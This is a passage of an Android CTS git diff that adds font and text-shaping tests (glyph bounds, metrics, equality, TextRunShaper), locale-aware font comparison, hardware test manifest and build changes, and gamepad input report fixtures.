+        assertEquals(FontStyle.FONT_SLANT_ITALIC, clonedFont.getStyle().getSlant());
+    }
+
+    @Test
+    public void getBoundingBox() throws IOException {
+        AssetManager assets = InstrumentationRegistry.getTargetContext().getAssets();
+
+        Font font = new Font.Builder(assets, "fonts/measurement/a3em.ttf").build();
+        Paint paint = new Paint();
+        paint.setTextSize(100);  // make 1em = 100px
+
+        int glyphID = 1;  // See a3em.ttx file for the Glyph ID.
+
+        RectF rect = new RectF();
+        float advance = font.getGlyphBounds(glyphID, paint, rect);
+
+        assertEquals(100f, advance, 0f);
+        // Glyph bbox is 0.1em shifted to right. See lsb value in hmtx in ttx file.
+        assertEquals(rect.left, 10f, 0f);
+        assertEquals(rect.top, -100f, 0f);
+        assertEquals(rect.right, 110f, 0f);
+        assertEquals(rect.bottom, 0f, 0f);
+    }
+
+    @Test
+    public void getFontMetrics() throws IOException {
+        AssetManager assets = InstrumentationRegistry.getTargetContext().getAssets();
+
+        Font font = new Font.Builder(assets, "fonts/measurement/a3em.ttf").build();
+        Paint paint = new Paint();
+        paint.setTextSize(100);  // make 1em = 100px
+
+        Paint.FontMetrics metrics = new Paint.FontMetrics();
+        font.getMetrics(paint, metrics);
+
+        assertEquals(-100f, metrics.ascent, 0f);
+        assertEquals(20f, metrics.descent, 0f);
+        // This refers head.yMax which is not explicitly visible in ttx file.
+        assertEquals(-300f, metrics.top, 0f);
+        // This refers head.yMin which is not explicitly visible in ttx file.
+        assertEquals(0f, metrics.bottom, 0f);
+    }
+
+    @Test
+    public void byteBufferEquality() throws IOException {
+        AssetManager assets = InstrumentationRegistry.getTargetContext().getAssets();
+
+        Font aFont = new Font.Builder(assets, "fonts/others/samplefont.ttf").build();
+        // Copied font must be equals to original one.
+        Font bFont = new Font.Builder(aFont).build();
+        assertEquals(aFont, bFont);
+        assertEquals(bFont, aFont);
+
+        // Same source font must be equal.
+        Font cFont = new Font.Builder(assets, "fonts/others/samplefont.ttf").build();
+        assertEquals(aFont, cFont);
+        assertEquals(cFont, aFont);
+
+        // Created font from duplicated buffers must be equal.
+        Font dFont = new Font.Builder(aFont.getBuffer().duplicate()).build();
+        Font eFont = new Font.Builder(aFont.getBuffer().duplicate()).build();
+        assertEquals(dFont, eFont);
+        assertEquals(eFont, dFont);
+
+        // Different parameter should be unequal but sameSource returns true.
+        Font fFont = new Font.Builder(aFont.getBuffer().duplicate())
+                .setFontVariationSettings("'wght' 400").build();
+        assertNotEquals(aFont, fFont);
+        assertNotEquals(fFont, aFont);
+
+        // Different source must be not equals.
+        Font gFont = new Font.Builder(assets, "fonts/others/samplefont2.ttf").build();
+        assertNotEquals(aFont, gFont);
+    }
+
+    @Test
+    public void fontIdentifier() throws IOException {
+        AssetManager assets = InstrumentationRegistry.getTargetContext().getAssets();
+
+        Font aFont = new Font.Builder(assets, "fonts/others/samplefont.ttf").build();
+        // Copied font must be equals to original one.
+        Font bFont = new Font.Builder(aFont).build();
+        assertEquals(aFont.getSourceIdentifier(), bFont.getSourceIdentifier());
+
+        // Different parameter should be unequal but sameSource returns true.
+        Font dFont = new Font.Builder(aFont)
+                .setFontVariationSettings("'wght' 400")
+                .setWeight(123)
+                .build();
+        assertEquals(aFont.getSourceIdentifier(), dFont.getSourceIdentifier());
+
+        // Different source must be not equals.
+        Font gFont = new Font.Builder(assets, "fonts/others/samplefont2.ttf").build();
+        assertNotEquals(aFont.getSourceIdentifier(), gFont.getSourceIdentifier());
+
+        Typeface typeface = new Typeface.CustomFallbackBuilder(
+                new FontFamily.Builder(
+                        aFont
+                ).build()
+        ).build();
+
+        Paint paint = new Paint();
+        paint.setTypeface(typeface);
+        PositionedGlyphs glyphs = TextRunShaper.shapeTextRun("a", 0, 1, 0, 1, 0f, 0f, false, paint);
+        assertEquals(aFont, glyphs.getFont(0));
+        assertEquals(aFont.getSourceIdentifier(), glyphs.getFont(0).getSourceIdentifier());
+    }
+
+    @Test
+    public void byteBufferSameHash() throws IOException {
+        AssetManager assets = InstrumentationRegistry.getTargetContext().getAssets();
+
+        Font aFont = new Font.Builder(assets, "fonts/others/samplefont.ttf").build();
+        // Copied font must be equals to original one.
+        assertEquals(new Font.Builder(aFont).build().hashCode(), aFont.hashCode());
+
+        // Same source font must be equal.
+        assertEquals(new Font.Builder(assets, "fonts/others/samplefont.ttf").build().hashCode(),
+                aFont.hashCode());
+
+        // Created font from duplicated buffers must be equal.
+        int cFontHash = new Font.Builder(aFont.getBuffer().duplicate()).build().hashCode();
+        int dFontHash = new Font.Builder(aFont.getBuffer().duplicate()).build().hashCode();
+        assertEquals(cFontHash, dFontHash);
+    }
 }
diff --git a/tests/tests/graphics/src/android/graphics/fonts/NativeSystemFontHelper.java b/tests/tests/graphics/src/android/graphics/fonts/NativeSystemFontHelper.java
index 9f9d603..11bc1bf 100644
--- a/tests/tests/graphics/src/android/graphics/fonts/NativeSystemFontHelper.java
+++ b/tests/tests/graphics/src/android/graphics/fonts/NativeSystemFontHelper.java
@@ -16,12 +16,14 @@
 
 package android.graphics.fonts;
 
+import android.icu.util.ULocale;
 import android.os.LocaleList;
 import android.util.Pair;
 
 import java.io.File;
 import java.util.Arrays;
 import java.util.HashSet;
+import java.util.Locale;
 import java.util.Objects;
 import java.util.Set;
 
@@ -55,7 +57,7 @@
                 && f.mSlant == mSlant
                 && f.mIndex == mIndex
                 && Arrays.equals(f.mAxes, mAxes)
-                && Objects.equals(f.mLocale, mLocale);
+                && localeListEquals(f.mLocale, mLocale);
         }
 
         @Override
@@ -64,6 +66,31 @@
                 mLocale);
         }
 
+        public boolean localeEquals(Locale left, Locale right) {
+            ULocale ulocLeft = ULocale.addLikelySubtags(ULocale.forLocale(left));
+            ULocale ulocRight = ULocale.addLikelySubtags(ULocale.forLocale(right));
+            return ulocLeft.equals(ulocRight);
+        }
+
+        public boolean localeListEquals(LocaleList left, LocaleList right) {
+            if (left == right) {
+                return true;
+            }
+            if (left == null || right == null) {
+                return false;
+            }
+
+            if (left.size() != right.size()) {
+                return false;
+            }
+            for (int i = 0; i < left.size(); ++i) {
+                if (!localeEquals(left.get(i), right.get(i))) {
+                    return false;
+                }
+            }
+            return true;
+        }
+
         @Override
         public String toString() {
             return "Font {"
@@ -98,11 +125,13 @@
                     font.mSlant = nIsItalic(fontPtr)
                         ? FontStyle.FONT_SLANT_ITALIC : FontStyle.FONT_SLANT_UPRIGHT;
                     font.mIndex = nGetCollectionIndex(fontPtr);
-                    font.mAxes = new FontVariationAxis[nGetAxisCount(fontPtr)];
+                    int axesSize = nGetAxisCount(fontPtr);
+                    font.mAxes = new FontVariationAxis[axesSize];
                     for (int i = 0; i < font.mAxes.length; ++i) {
                         font.mAxes[i] = new FontVariationAxis(
-                            tagToStr(nGetAxisTag(fontPtr, i)), nGetAxisValue(fontPtr, i));
+                                tagToStr(nGetAxisTag(fontPtr, i)), nGetAxisValue(fontPtr, i));
                     }
+
                     font.mLocale = LocaleList.forLanguageTags(nGetLocale(fontPtr));
                     nativeFonts.add(font);
                 } finally {
diff --git a/tests/tests/graphics/src/android/graphics/fonts/NativeSystemFontTest.java b/tests/tests/graphics/src/android/graphics/fonts/NativeSystemFontTest.java
index de6ab63..f889dec 100644
--- a/tests/tests/graphics/src/android/graphics/fonts/NativeSystemFontTest.java
+++ b/tests/tests/graphics/src/android/graphics/fonts/NativeSystemFontTest.java
@@ -16,6 +16,8 @@
 
 package android.graphics.fonts;
 
+import static com.google.common.truth.Truth.assertThat;
+
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
@@ -59,15 +61,7 @@
         Set<NativeSystemFontHelper.FontDescriptor> nativeFonts =
                 NativeSystemFontHelper.getAvailableFonts();
 
-        assertEquals(javaFonts.size(), nativeFonts.size());
-
-        for (NativeSystemFontHelper.FontDescriptor f : nativeFonts) {
-            assertTrue(javaFonts.contains(f));
-        }
-
-        for (NativeSystemFontHelper.FontDescriptor f : javaFonts) {
-            assertTrue(nativeFonts.contains(f));
-        }
+        assertThat(javaFonts).containsExactlyElementsIn(nativeFonts);
     }
 
     @Test
diff --git a/tests/tests/graphics/src/android/graphics/text/cts/MeasuredTextTest.java b/tests/tests/graphics/src/android/graphics/text/cts/MeasuredTextTest.java
index 096f366..52a2a74 100644
--- a/tests/tests/graphics/src/android/graphics/text/cts/MeasuredTextTest.java
+++ b/tests/tests/graphics/src/android/graphics/text/cts/MeasuredTextTest.java
@@ -187,6 +187,31 @@
         assertEquals(twoCharRect, out);
     }
 
+    @Test
+    public void testGetBounds_RTL() {
+        Paint paint = new Paint();
+        AssetManager am = InstrumentationRegistry.getTargetContext().getAssets();
+        Typeface typeface = Typeface.createFromAsset(am, "fonts/measurement/bbox.ttf");
+        paint.setTypeface(typeface);
+        paint.setTextSize(100f);  // Make 1em = 100px
+        String text = "\u0028";  // U+0028 is 1em x 1em in LTR and 3em x 3em in RTL.
+        Rect ltrRect = new Rect();
+        Rect rtlRect = new Rect();
+
+        new MeasuredText.Builder(text.toCharArray())
+                .appendStyleRun(paint, text.length(), false)
+                .build()
+                .getBounds(0, 1, ltrRect);
+        new MeasuredText.Builder(text.toCharArray())
+                .appendStyleRun(paint, text.length(), true)
+                .build()
+                .getBounds(0, 1, rtlRect);
+
+
+        assertEquals(new Rect(0, -100, 100, 0), ltrRect);
+        assertEquals(new Rect(0, -300, 300, 0), rtlRect);
+    }
+
     @Test(expected = IllegalArgumentException.class)
     public void testGetBounds_StartSmallerThanZero() {
         String text = "Hello, World";
diff --git a/tests/tests/graphics/src/android/graphics/text/cts/TextRunShaperTest.java b/tests/tests/graphics/src/android/graphics/text/cts/TextRunShaperTest.java
new file mode 100644
index 0000000..689f00f
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/text/cts/TextRunShaperTest.java
@@ -0,0 +1,367 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.text.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Context;
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.Paint;
+import android.graphics.Typeface;
+import android.graphics.fonts.Font;
+import android.graphics.fonts.FontFamily;
+import android.graphics.fonts.FontVariationAxis;
+import android.graphics.text.PositionedGlyphs;
+import android.graphics.text.TextRunShaper;
+import android.text.Layout;
+import android.text.TextDirectionHeuristic;
+import android.text.TextDirectionHeuristics;
+import android.text.TextPaint;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.util.HashSet;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class TextRunShaperTest {
+
+    @Test
+    public void shapeText() {
+        // Setup
+        Paint paint = new Paint();
+        paint.setTextSize(100f);
+        String text = "Hello, World.";
+
+        // Act
+        PositionedGlyphs result = TextRunShaper.shapeTextRun(
+                text, 0, text.length(), 0, text.length(), 0f, 0f, false, paint);
+
+        // Assert
+        // Glyph must be included. (the count cannot be expected since there could be ligature).
+        assertThat(result.glyphCount()).isNotEqualTo(0);
+        for (int i = 0; i < result.glyphCount(); ++i) {
+            // Glyph ID = 0 is reserved for Tofu, thus expecting all character has glyph.
+            assertThat(result.getGlyphId(i)).isNotEqualTo(0);
+        }
+
+        // Must have horizontal advance.
+        assertThat(result.getAdvance()).isGreaterThan(0f);
+        float ascent = result.getAscent();
+        float descent = result.getDescent();
+        // Usually font has negative ascent value which is relative from the baseline.
+        assertThat(ascent).isLessThan(0f);
+        // Usually font has positive descent value which is relative from the baseline.
+        assertThat(descent).isGreaterThan(0f);
+        Paint.FontMetrics metrics = new Paint.FontMetrics();
+        for (int i = 0; i < result.glyphCount(); ++i) {
+            result.getFont(i).getMetrics(paint, metrics);
+            // The overall ascent must be smaller (wider) than each font ascent.
+            assertThat(ascent <= metrics.ascent).isTrue();
+            // The overall descent must be bigger (wider) than each font descent.
+            assertThat(descent >= metrics.descent).isTrue();
+        }
+    }
+
+    @Test
+    public void shapeText_differentPaint() {
+        // Setup
+        Paint paint = new Paint();
+        String text = "Hello, World.";
+
+        // Act
+        paint.setTextSize(100f);  // Shape text with 100px
+        PositionedGlyphs result1 = TextRunShaper.shapeTextRun(
+                text, 0, text.length(), 0, text.length(), 0f, 0f, false, paint);
+
+        paint.setTextSize(50f);  // Shape text with 50px
+        PositionedGlyphs result2 = TextRunShaper.shapeTextRun(
+                text, 0, text.length(), 0, text.length(), 0f, 0f, false, paint);
+
+        // Assert
+        // The total advance should be different.
+        assertThat(result1.getAdvance()).isNotEqualTo(result2.getAdvance());
+
+        // The size change doesn't affect glyph selection.
+        assertThat(result1.glyphCount()).isEqualTo(result2.glyphCount());
+        for (int i = 0; i < result1.glyphCount(); ++i) {
+            assertThat(result1.getGlyphId(i)).isEqualTo(result2.getGlyphId(i));
+        }
+    }
+
+    @Test
+    public void shapeText_context() {
+        // Setup
+        Paint paint = new Paint();
+        paint.setTextSize(100f);
+
+        // Arabic script change form (glyph) based on position.
+        String text = "\u0645\u0631\u062D\u0628\u0627";
+
+        // Act
+        PositionedGlyphs resultWithContext = TextRunShaper.shapeTextRun(
+                text, 0, 1, 0, text.length(), 0f, 0f, true, paint);
+        PositionedGlyphs resultWithoutContext = TextRunShaper.shapeTextRun(
+                text, 0, 1, 0, 1, 0f, 0f, true, paint);
+
+        // Assert
+        assertThat(resultWithContext.getGlyphId(0))
+                .isNotEqualTo(resultWithoutContext.getGlyphId(0));
+    }
+
+    @Test
+    public void shapeText_twoAPISameResult() {
+        // Setup
+        Paint paint = new Paint();
+        String text = "Hello, World.";
+        paint.setTextSize(100f);  // Shape text with 100px
+
+        // Act
+        PositionedGlyphs resultString = TextRunShaper.shapeTextRun(
+                text, 0, text.length(), 0, text.length(), 0f, 0f, false, paint);
+
+        char[] charArray = text.toCharArray();
+        PositionedGlyphs resultChars = TextRunShaper.shapeTextRun(
+                charArray, 0, charArray.length, 0, charArray.length, 0f, 0f, false, paint);
+
+        // Asserts
+        assertThat(resultString.glyphCount()).isEqualTo(resultChars.glyphCount());
+        assertThat(resultString.getAdvance()).isEqualTo(resultChars.getAdvance());
+        assertThat(resultString.getAscent()).isEqualTo(resultChars.getAscent());
+        assertThat(resultString.getDescent()).isEqualTo(resultChars.getDescent());
+        for (int i = 0; i < resultString.glyphCount(); ++i) {
+            assertThat(resultString.getGlyphId(i)).isEqualTo(resultChars.getGlyphId(i));
+            assertThat(resultString.getFont(i)).isEqualTo(resultChars.getFont(i));
+            assertThat(resultString.getGlyphX(i)).isEqualTo(resultChars.getGlyphX(i));
+            assertThat(resultString.getGlyphY(i)).isEqualTo(resultChars.getGlyphY(i));
+        }
+    }
+
+    @Test
+    public void shapeText_multiLanguage() {
+        // Setup
+        Paint paint = new Paint();
+        paint.setTextSize(100f);
+        String text = "Hello, Emoji: \uD83E\uDE90";  // Usually emoji is came from ColorEmoji font.
+
+        // Act
+        PositionedGlyphs result = TextRunShaper.shapeTextRun(
+                text, 0, text.length(), 0, text.length(), 0f, 0f, false, paint);
+
+        // Assert
+        HashSet<Font> set = new HashSet<>();
+        for (int i = 0; i < result.glyphCount(); ++i) {
+            set.add(result.getFont(i));
+        }
+        assertThat(set.size()).isEqualTo(2);  // Roboto + Emoji is expected
+    }
+
+    @Test
+    public void shapeText_FontCreateFromNative() throws IOException {
+        // Setup
+        Context ctx = InstrumentationRegistry.getTargetContext();
+        Paint paint = new Paint();
+        Font originalFont = new Font.Builder(
+                ctx.getAssets(),
+                "fonts/var_fonts/WeightEqualsEmVariableFont.ttf")
+                .build();
+        Typeface typeface = new Typeface.CustomFallbackBuilder(
+                new FontFamily.Builder(originalFont).build()
+        ).build();
+        paint.setTypeface(typeface);
+        // setFontVariationSettings creates Typeface internally and it is not from Java Font object.
+        paint.setFontVariationSettings("'wght' 250");
+
+        // Act
+        PositionedGlyphs res = TextRunShaper.shapeTextRun("a", 0, 1, 0, 1, 0f, 0f, false, paint);
+
+        // Assert
+        Font font = res.getFont(0);
+        assertThat(font.getBuffer()).isEqualTo(originalFont.getBuffer());
+        assertThat(font.getTtcIndex()).isEqualTo(originalFont.getTtcIndex());
+        FontVariationAxis[] axes = font.getAxes();
+        assertThat(axes.length).isEqualTo(1);
+        assertThat(axes[0].getTag()).isEqualTo("wght");
+        assertThat(axes[0].getStyleValue()).isEqualTo(250f);
+    }
+
+    @Test
+    public void positionedGlyphs_equality() {
+        // Setup
+        Paint paint = new Paint();
+        paint.setTextSize(100f);
+
+        // Act
+        PositionedGlyphs glyphs = TextRunShaper.shapeTextRun(
+                "abcde", 0, 5, 0, 5, 0f, 0f, true, paint);
+        PositionedGlyphs eqGlyphs = TextRunShaper.shapeTextRun(
+                "abcde", 0, 5, 0, 5, 0f, 0f, true, paint);
+        PositionedGlyphs reversedGlyphs = TextRunShaper.shapeTextRun(
+                "edcba", 0, 5, 0, 5, 0f, 0f, true, paint);
+        PositionedGlyphs substrGlyphs = TextRunShaper.shapeTextRun(
+                "edcba", 0, 3, 0, 3, 0f, 0f, true, paint);
+        paint.setTextSize(50f);
+        PositionedGlyphs differentStyleGlyphs = TextRunShaper.shapeTextRun(
+                "edcba", 0, 3, 0, 3, 0f, 0f, true, paint);
+
+        // Assert
+        assertThat(glyphs).isEqualTo(eqGlyphs);
+
+        assertThat(glyphs).isNotEqualTo(reversedGlyphs);
+        assertThat(glyphs).isNotEqualTo(substrGlyphs);
+        assertThat(glyphs).isNotEqualTo(differentStyleGlyphs);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void positionedGlyphs_IllegalArgument_glyphID() {
+        // Setup
+        Paint paint = new Paint();
+        String text = "Hello, World.";
+        paint.setTextSize(100f);  // Shape text with 100px
+        PositionedGlyphs res = TextRunShaper.shapeTextRun(
+                text, 0, text.length(), 0, text.length(), 0f, 0f, false, paint);
+
+        // Act
+        res.getGlyphId(res.glyphCount());  // throws IllegalArgumentException
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void resultTest_IllegalArgument_font() {
+        // Setup
+        Paint paint = new Paint();
+        String text = "Hello, World.";
+        paint.setTextSize(100f);  // Shape text with 100px
+        PositionedGlyphs res = TextRunShaper.shapeTextRun(
+                text, 0, text.length(), 0, text.length(), 0f, 0f, false, paint);
+
+        // Act
+        res.getFont(res.glyphCount());  // throws IllegalArgumentException
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void resultTest_IllegalArgument_X() {
+        // Setup
+        Paint paint = new Paint();
+        String text = "Hello, World.";
+        paint.setTextSize(100f);  // Shape text with 100px
+        PositionedGlyphs res = TextRunShaper.shapeTextRun(
+                text, 0, text.length(), 0, text.length(), 0f, 0f, false, paint);
+
+        // Act
+        res.getGlyphX(res.glyphCount());  // throws IllegalArgumentException
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void resultTest_IllegalArgument_Y() {
+        // Setup
+        Paint paint = new Paint();
+        String text = "Hello, World.";
+        paint.setTextSize(100f);  // Shape text with 100px
+        PositionedGlyphs res = TextRunShaper.shapeTextRun(
+                text, 0, text.length(), 0, text.length(), 0f, 0f, false, paint);
+
+        // Act
+        res.getGlyphY(res.glyphCount());  // throws IllegalArgumentException
+    }
+
+    public void assertSameDrawResult(CharSequence text, TextPaint paint,
+            TextDirectionHeuristic textDir) {
+        int width = (int) Math.ceil(Layout.getDesiredWidth(text, paint));
+        Paint.FontMetricsInt fmi = paint.getFontMetricsInt();
+        int height = fmi.descent - fmi.ascent;
+        boolean isRtl = textDir.isRtl(text, 0, text.length());
+
+        // Expected bitmap output
+        Bitmap layoutResult = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
+        Canvas layoutCanvas = new Canvas(layoutResult);
+        layoutCanvas.translate(0f, -fmi.ascent);
+        layoutCanvas.drawTextRun(
+                text,
+                0, text.length(),  // range
+                0, text.length(),  // context range
+                0f, 0f,  // position
+                isRtl, paint);
+
+        // Actual bitmap output
+        Bitmap glyphsResult = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
+        Canvas glyphsCanvas = new Canvas(glyphsResult);
+        glyphsCanvas.translate(0f, -fmi.ascent);
+        PositionedGlyphs glyphs = TextRunShaper.shapeTextRun(
+                text,
+                0, text.length(),  // range
+                0, text.length(),  // context range
+                0f, 0f,  // position
+                isRtl, paint);
+        for (int i = 0; i < glyphs.glyphCount(); ++i) {
+            glyphsCanvas.drawGlyphs(
+                    new int[] { glyphs.getGlyphId(i) },
+                    0,
+                    new float[] { glyphs.getGlyphX(i), glyphs.getGlyphY(i) },
+                    0,
+                    1,
+                    glyphs.getFont(i),
+                    paint
+            );
+        }
+
+        assertThat(glyphsResult.sameAs(layoutResult)).isTrue();
+    }
+
+    @Test
+    public void testDrawConsistency() {
+        TextPaint paint = new TextPaint();
+        paint.setTextSize(32f);
+        paint.setColor(Color.BLUE);
+        assertSameDrawResult("Hello, Android.", paint, TextDirectionHeuristics.LTR);
+    }
+
+    @Test
+    public void testDrawConsistencyMultiFont() {
+        TextPaint paint = new TextPaint();
+        paint.setTextSize(32f);
+        paint.setColor(Color.BLUE);
+        assertSameDrawResult("こんにちは、Android.", paint, TextDirectionHeuristics.LTR);
+    }
+
+    @Test
+    public void testDrawConsistencyBidi() {
+        TextPaint paint = new TextPaint();
+        paint.setTextSize(32f);
+        paint.setColor(Color.BLUE);
+        assertSameDrawResult("مرحبا, Android.", paint, TextDirectionHeuristics.FIRSTSTRONG_LTR);
+        assertSameDrawResult("مرحبا, Android.", paint, TextDirectionHeuristics.LTR);
+        assertSameDrawResult("مرحبا, Android.", paint, TextDirectionHeuristics.RTL);
+    }
+
+    @Test
+    public void testDrawConsistencyBidi2() {
+        TextPaint paint = new TextPaint();
+        paint.setTextSize(32f);
+        paint.setColor(Color.BLUE);
+        assertSameDrawResult("Hello, العالمية", paint, TextDirectionHeuristics.FIRSTSTRONG_LTR);
+        assertSameDrawResult("Hello, العالمية", paint, TextDirectionHeuristics.LTR);
+        assertSameDrawResult("Hello, العالمية", paint, TextDirectionHeuristics.RTL);
+    }
+}
diff --git a/tests/tests/gwp-asan/enabled/Android.bp b/tests/tests/gwp-asan/enabled/Android.bp
index a78598e..aadbdde 100644
--- a/tests/tests/gwp-asan/enabled/Android.bp
+++ b/tests/tests/gwp-asan/enabled/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsGwpAsanTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/hardware/Android.bp b/tests/tests/hardware/Android.bp
index 94e99c4..857164d 100644
--- a/tests/tests/hardware/Android.bp
+++ b/tests/tests/hardware/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsHardwareTestCases",
     defaults: ["cts_defaults"],
@@ -35,6 +31,7 @@
         "compatibility-device-util-axt",
         "cts-input-lib",
         "ctstestrunner-axt",
+        "cts-wm-util",
         "mockito-target-minus-junit4",
         "platform-test-annotations",
         "ub-uiautomator",
diff --git a/tests/tests/hardware/AndroidManifest.xml b/tests/tests/hardware/AndroidManifest.xml
index 4b56763..081672b 100644
--- a/tests/tests/hardware/AndroidManifest.xml
+++ b/tests/tests/hardware/AndroidManifest.xml
@@ -18,14 +18,16 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="android.hardware.cts">
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
     <uses-permission android:name="android.permission.CAMERA" />
+    <uses-permission android:name="android.permission.CHANGE_COMPONENT_ENABLED_STATE" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
     <uses-permission android:name="android.permission.RECORD_AUDIO" />
+    <uses-permission android:name="android.permission.REORDER_TASKS" />
+    <uses-permission android:name="android.permission.TRANSMIT_IR" />
+    <uses-permission android:name="android.permission.USE_FINGERPRINT" />
     <uses-permission android:name="android.permission.WAKE_LOCK" />
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.TRANSMIT_IR" />
-    <uses-permission android:name="android.permission.REORDER_TASKS" />
-    <uses-permission android:name="android.permission.USE_FINGERPRINT" />
 
     <application>
         <uses-library android:name="android.test.runner" />
@@ -75,7 +77,24 @@
             android:label="InputCtsActivity"
             android:configChanges="mcc|mnc|locale|touchscreen|keyboard|keyboardHidden|navigation
                     |screenLayout|fontScale|uiMode|orientation|density|screenSize
-                    |smallestScreenSize"/>
+                    |smallestScreenSize">
+        </activity>
+
+        <activity android:name="android.hardware.input.cts.InputAssistantActivity"
+            android:label="InputAssistantActivity"
+            android:exported="true"
+            android:configChanges="mcc|mnc|locale|touchscreen|keyboard|keyboardHidden|navigation
+                    |screenLayout|fontScale|uiMode|orientation|density|screenSize
+                    |smallestScreenSize">
+            <intent-filter >
+                <action android:name="android.speech.action.VOICE_SEARCH_HANDS_FREE" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+            <intent-filter >
+                <action android:name="android.speech.action.WEB_SEARCH" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </activity>
 
         <activity android:name="android.hardware.cts.FingerprintTestActivity"
             android:label="FingerprintTestActivity">
diff --git a/tests/tests/hardware/OWNERS b/tests/tests/hardware/OWNERS
index e6b9d59..bad9733 100644
--- a/tests/tests/hardware/OWNERS
+++ b/tests/tests/hardware/OWNERS
@@ -1,4 +1,4 @@
-# Bug component: 24950
+# Bug component: 533114
 michaelwr@google.com
 
 # Trust that people only touch their own resources.
diff --git a/tests/tests/hardware/jni/Android.bp b/tests/tests/hardware/jni/Android.bp
index f8c2ff3..f1a04c3 100644
--- a/tests/tests/hardware/jni/Android.bp
+++ b/tests/tests/hardware/jni/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test_library {
     name: "libctshardware_jni",
     cflags: ["-Werror"],
diff --git a/tests/tests/hardware/res/raw/asus_gamepad_register.json b/tests/tests/hardware/res/raw/asus_gamepad_register.json
index 64cf5e4..abab3e6 100644
--- a/tests/tests/hardware/res/raw/asus_gamepad_register.json
+++ b/tests/tests/hardware/res/raw/asus_gamepad_register.json
@@ -5,6 +5,7 @@
   "vid": 0x0b05,
   "pid": 0x4500,
   "bus": "bluetooth",
+  "source": "KEYBOARD | GAMEPAD | JOYSTICK",
   "descriptor": [0x05, 0x01, 0x09, 0x05, 0xa1, 0x01, 0x85, 0x01, 0x05, 0x09, 0x0a, 0x01, 0x00,
     0x0a, 0x02, 0x00, 0x0a, 0x04, 0x00, 0x0a, 0x05, 0x00, 0x0a, 0x07, 0x00, 0x0a, 0x08, 0x00,
     0x0a, 0x0e, 0x00, 0x0a, 0x0f, 0x00, 0x0a, 0x0d, 0x00, 0x05, 0x0c, 0x0a, 0x24, 0x02, 0x0a,
diff --git a/tests/tests/hardware/res/raw/gamevice_gv186_keyeventtests.json b/tests/tests/hardware/res/raw/gamevice_gv186_keyeventtests.json
new file mode 100644
index 0000000..13fabcd
--- /dev/null
+++ b/tests/tests/hardware/res/raw/gamevice_gv186_keyeventtests.json
@@ -0,0 +1,171 @@
+[
+  {
+    "name": "Press BUTTON_A",
+    "reports": [
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_A"},
+      {"action": "UP", "keycode": "BUTTON_A"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_B",
+    "reports": [
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_B"},
+      {"action": "UP", "keycode": "BUTTON_B"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_X",
+    "reports": [
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_X"},
+      {"action": "UP", "keycode": "BUTTON_X"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_Y",
+    "reports": [
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00],
